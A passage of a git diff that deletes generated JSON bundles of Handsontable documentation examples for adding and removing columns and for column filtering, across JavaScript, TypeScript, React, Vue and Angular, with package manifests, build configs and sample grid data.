    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register all Handsontable's modules\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst insertButton = document.querySelector('#insert-column')!;\nconst removeButton = document.querySelector('#remove-column')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\ninsertButton.addEventListener('click', () => {\n // insert one column at the end of the grid\n hot.alter('insert_col_end', hot.countCols() - 1, 1);\n});\n\nremoveButton.addEventListener('click', () => {\n // remove the last column, but keep at least one column in the grid\n if (hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-adding/javascript/example1.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example2.js.json deleted file mode 100644 index 0e218d8a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register all Handsontable's modules\nregisterAllModules();\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n // show only the column insert and remove items in the context menu\n contextMenu: ['col_left', 'col_right', 'remove_col'],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-adding/javascript/example2.js","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example2.ts.json deleted file mode 100644 index 272150c6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register all Handsontable's modules\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', '2021-04-12'],\n ['James Okafor', 'Marketing', 'Product Manager', '2022-08-30'],\n ['Li Wei', 'Engineering', 'Staff Engineer', '2019-02-18'],\n ['Sofia Rossi', 'Sales', 'Account Executive', '2023-01-09'],\n ['Diego Fernández', 'Design', 'UX Designer', '2020-11-23'],\n ['Amara Singh', 'Engineering', 'Engineering Manager', '2018-06-05'],\n ],\n colHeaders: ['Name', 'Department', 'Title', 'Hire date'],\n rowHeaders: true,\n height: 'auto',\n // show only the column insert and remove items in the context menu\n contextMenu: ['col_left', 'col_right', 'remove_col'],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-adding/javascript/example2.ts","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__react__example1.tsx.json deleted file mode 100644 index b322ed19..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Adding and removing columns · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const insertColumn = () => {\n const hot = hotRef.current?.hotInstance;\n\n // insert one column at the end of the grid\n hot?.alter('insert_col_end', hot.countCols() - 1, 1);\n };\n\n const removeColumn = () => {\n const hot = hotRef.current?.hotInstance;\n\n // remove the last column, but keep at least one column in the grid\n if (hot && hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n };\n\n return (\n <>\n
    \n
    \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-adding/react/example1.tsx","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__react__example2.tsx.json deleted file mode 100644 index 85d80460..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-adding/react/example2.tsx","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__vue__example1.vue.json deleted file mode 100644 index 9145c99a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Adding and removing columns · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-adding/vue/example1.vue","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__vue__example2.vue.json deleted file mode 100644 index 4ae06bac..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-adding__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-adding/vue/example2.vue","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example10.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example10.ts.json deleted file mode 100644 index 11473ca5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example10.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column filter · Server-side filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example10',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack: { column: number; conditions: unknown[]; operation: string }[]) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n\n // when the filters are cleared, the conditions stack is empty\n const [lastChanged] = conditionsStack;\n\n if (lastChanged) {\n console.log(`The last changed column index: ${lastChanged.column}`);\n console.log(\n `The amount of filters added to this column: ${lastChanged.conditions.length}`\n );\n // the list of filter conditions\n console.log(lastChanged.conditions);\n }\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example10.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example10","exampleTitle":"Server-side filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example13.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example13.ts.json deleted file mode 100644 index 305d955f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example13.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column filter · Save and restore filter settings (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport { Filters } from 'handsontable/plugins';\nimport type { ColumnConditions } from 'handsontable/plugins/filters';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example13',\n template: `\n
    \n
    \n \n \n \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n savedConditions: ColumnConditions[] = [];\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n 